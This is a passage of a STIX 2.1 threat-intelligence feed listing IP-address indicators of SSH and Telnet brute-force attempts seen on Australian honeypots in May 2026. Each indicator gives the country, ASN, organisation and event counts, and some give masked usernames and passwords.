      "type": "indicator",
      "valid_from": "2026-05-13T06:15:10.000Z",
      "valid_until": "2026-06-14T06:15:08.000Z"
    },
    {
      "created": "2026-05-13T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 46475. Organisation(s): Limestone Networks, Inc..",
      "id": "indicator--7a146849-30a7-46bd-ba8b-79b69cf54e9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.110.51.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T06:15:10.000Z",
      "valid_until": "2026-06-14T06:15:08.000Z"
    },
    {
      "created": "2026-05-13T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 142647. Organisation(s): Nasstec Airnet Networks Private Limited.",
      "id": "indicator--9bf80dd7-0b7b-46c5-bd9e-521fdccfd69a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.173.7.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T07:15:10.000Z",
      "valid_until": "2026-06-14T07:15:09.000Z"
    },
    {
      "created": "2026-05-13T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 140641. Organisation(s): YOTTA NETWORK SERVICES PRIVATE LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): c********a, c****e, m****r.",
      "id": "indicator--93e73b7f-aa94-47a3-95b2-a7abdcb73b5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.91.246.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T07:15:10.000Z",
      "valid_until": "2026-06-14T07:15:09.000Z"
    },
    {
      "created": "2026-05-13T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): 1****8.",
      "id": "indicator--11084ebc-5ed4-4a93-9c17-7a4848bd9e5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.26.36.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T07:15:10.000Z",
      "valid_until": "2026-06-14T07:15:09.000Z"
    },
    {
      "created": "2026-05-13T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--96585abc-096f-42c1-9d80-e71f3e6f20b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.134.33.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T07:15:10.000Z",
      "valid_until": "2026-06-14T07:15:09.000Z"
    },
    {
      "created": "2026-05-13T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Heralding. Target ports: 110. Source country: DE. ASN(s): 202412. Organisation(s): Omegatech LTD. Usernames observed (masked): s***s. Passwords observed (masked): *, ***, ***, 1**4, 1***5.",
      "id": "indicator--cbb1f552-224d-4c23-8adc-92f339df2d8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '158.94.208.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T07:15:10.000Z",
      "valid_until": "2026-06-14T07:15:09.000Z"
    },
    {
      "created": "2026-05-13T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--5992e3b9-9d6c-4147-a623-84e05f83bdf3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.141.243.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T07:15:10.000Z",
      "valid_until": "2026-06-14T07:15:09.000Z"
    },
    {
      "created": "2026-05-13T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--8369e777-0b70-4342-874c-2ac3226f62f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.188.179.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T07:15:10.000Z",
      "valid_until": "2026-06-14T07:15:09.000Z"
    },
    {
      "created": "2026-05-13T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--5eb4c354-7518-4d37-b09a-900ef74ac85f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T07:15:10.000Z",
      "valid_until": "2026-06-14T07:15:09.000Z"
    },
    {
      "created": "2026-05-13T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 50673. Organisation(s): Serverius Holding B.V..",
      "id": "indicator--bc1e51bb-d2af-4710-9ab4-80312e01944a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.42.188.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T07:15:10.000Z",
      "valid_until": "2026-06-14T07:15:09.000Z"
    },
    {
      "created": "2026-05-13T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--a36e1dd1-2a76-454e-8698-a82d7f92a50b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.62.224.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T07:15:10.000Z",
      "valid_until": "2026-06-14T07:15:09.000Z"
    },
    {
      "created": "2026-05-13T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--79a701d4-8105-44c6-bd58-3399b9225160",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.233.8.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T07:15:10.000Z",
      "valid_until": "2026-06-14T07:15:09.000Z"
    },
    {
      "created": "2026-05-13T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--45850e2e-282e-4b89-b735-30e6eecebb04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.219.233.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T07:15:10.000Z",
      "valid_until": "2026-06-14T07:15:09.000Z"
    },
    {
      "created": "2026-05-13T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--d1ae40b7-7bd4-41ed-809e-8c4d924e7a07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.194.9.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T08:15:10.000Z",
      "valid_until": "2026-06-14T08:15:08.000Z"
    },
    {
      "created": "2026-05-13T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--eb992852-3a29-4a7f-99f4-3260966db099",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.59.164.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T08:15:10.000Z",
      "valid_until": "2026-06-14T08:15:08.000Z"
    },
    {
      "created": "2026-05-13T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--00660b45-b918-4bbc-8dfd-4638949c22ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.212.245.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T08:15:10.000Z",
      "valid_until": "2026-06-14T08:15:08.000Z"
    },
    {
      "created": "2026-05-13T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--4a8ea36a-a792-4fc7-a246-8f7d1095e94e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.140.34.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T08:15:10.000Z",
      "valid_until": "2026-06-14T08:15:08.000Z"
    },
    {
      "created": "2026-05-13T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--8d8be285-130e-45b0-9db9-ad004e78d570",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.35.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T08:15:10.000Z",
      "valid_until": "2026-06-14T08:15:08.000Z"
    },
    {
      "created": "2026-05-13T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--4b8f07a5-1eea-4edf-b29e-54b7d1c8746f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T08:15:10.000Z",
      "valid_until": "2026-06-14T08:15:08.000Z"
    },
    {
      "created": "2026-05-13T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--62bcbbcb-a448-49df-ade1-c6de52a56137",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T08:15:10.000Z",
      "valid_until": "2026-06-14T08:15:08.000Z"
    },
    {
      "created": "2026-05-13T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--b88b2fd2-df33-4035-a7b6-0687894d8321",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T08:15:10.000Z",
      "valid_until": "2026-06-14T08:15:08.000Z"
    },
    {
      "created": "2026-05-13T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 7679. Organisation(s): QTnet,Inc..",
      "id": "indicator--75405d77-398a-459f-b987-2fa3bb2843b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.47.179.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T09:15:10.000Z",
      "valid_until": "2026-06-14T09:15:08.000Z"
    },
    {
      "created": "2026-05-13T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--02a86067-9eb7-4f45-b9b3-ab12d6152c6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.205.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T09:15:10.000Z",
      "valid_until": "2026-06-14T09:15:08.000Z"
    },
    {
      "created": "2026-05-13T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--811359b6-ae27-4843-9545-88d9a92dcb29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T09:15:10.000Z",
      "valid_until": "2026-06-14T09:15:08.000Z"
    },
    {
      "created": "2026-05-13T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): a***n. Passwords observed (masked): 4****2.",
      "id": "indicator--0f25348c-814a-4351-8aaa-c46259b04680",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.57.216.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T09:15:10.000Z",
      "valid_until": "2026-06-14T09:15:08.000Z"
    },
    {
      "created": "2026-05-13T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--57c50e01-0711-48a0-9236-921ac9cf673c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T09:15:10.000Z",
      "valid_until": "2026-06-14T09:15:08.000Z"
    },
    {
      "created": "2026-05-13T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--9ca33123-5392-449b-a8ba-0404cebfe330",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T09:15:10.000Z",
      "valid_until": "2026-06-14T09:15:08.000Z"
    },
    {
      "created": "2026-05-13T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--0ef8c91c-3217-484b-9d46-eb15ce7553cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T09:15:10.000Z",
      "valid_until": "2026-06-14T09:15:08.000Z"
    },
    {
      "created": "2026-05-13T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS. Usernames observed (masked): b*********************************************************************************************************************************************************************************************************************************', b***************************************************************************************************'. Passwords observed (masked): ***, b*************************************************************************************************************************************************************************************************\", b**********'.",
      "id": "indicator--cc08d9f5-3aa8-4749-8281-a090f2970158",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T09:15:10.000Z",
      "valid_until": "2026-06-14T09:15:08.000Z"
    },
    {
      "created": "2026-05-13T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7169aec1-8ccd-4eaa-839f-a62b20d8865d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.114.19.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T10:15:10.000Z",
      "valid_until": "2026-06-14T10:15:08.000Z"
    },
    {
      "created": "2026-05-13T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--412c604a-6dac-4751-8491-aa6efc8ec68e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.27.36.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T10:15:10.000Z",
      "valid_until": "2026-06-14T10:15:08.000Z"
    },
    {
      "created": "2026-05-13T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 48101. Organisation(s): Trooli Ltd..",
      "id": "indicator--9f6aebc1-afc5-4a74-b061-16692d0ee2ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.20.157.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T10:15:10.000Z",
      "valid_until": "2026-06-14T10:15:08.000Z"
    },
    {
      "created": "2026-05-13T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--deb70dd9-591c-41a1-8e8a-d83e19286a15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.25.95.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T10:15:10.000Z",
      "valid_until": "2026-06-14T10:15:08.000Z"
    },
    {
      "created": "2026-05-13T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 271202. Organisation(s): NavegNet Telecom.",
      "id": "indicator--d1223a90-56d9-4604-a25e-2fa722ae59ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.49.173.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T10:15:10.000Z",
      "valid_until": "2026-06-14T10:15:08.000Z"
    },
    {
      "created": "2026-05-13T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): i**k.",
      "id": "indicator--43de227f-e684-4ee9-8051-1d3c7658e5c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.243.253.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T10:15:10.000Z",
      "valid_until": "2026-06-14T10:15:08.000Z"
    },
    {
      "created": "2026-05-13T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TT. ASN(s): 27665. Organisation(s): Columbus Communications Trinidad Limited.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): %**@, 3***********4, 3**********4, Q******6, a****l.",
      "id": "indicator--a3455a2b-e1d2-4476-9a98-086e86136049",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.213.180.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T10:15:10.000Z",
      "valid_until": "2026-06-14T10:15:08.000Z"
    },
    {
      "created": "2026-05-13T10:15:10.000Z",
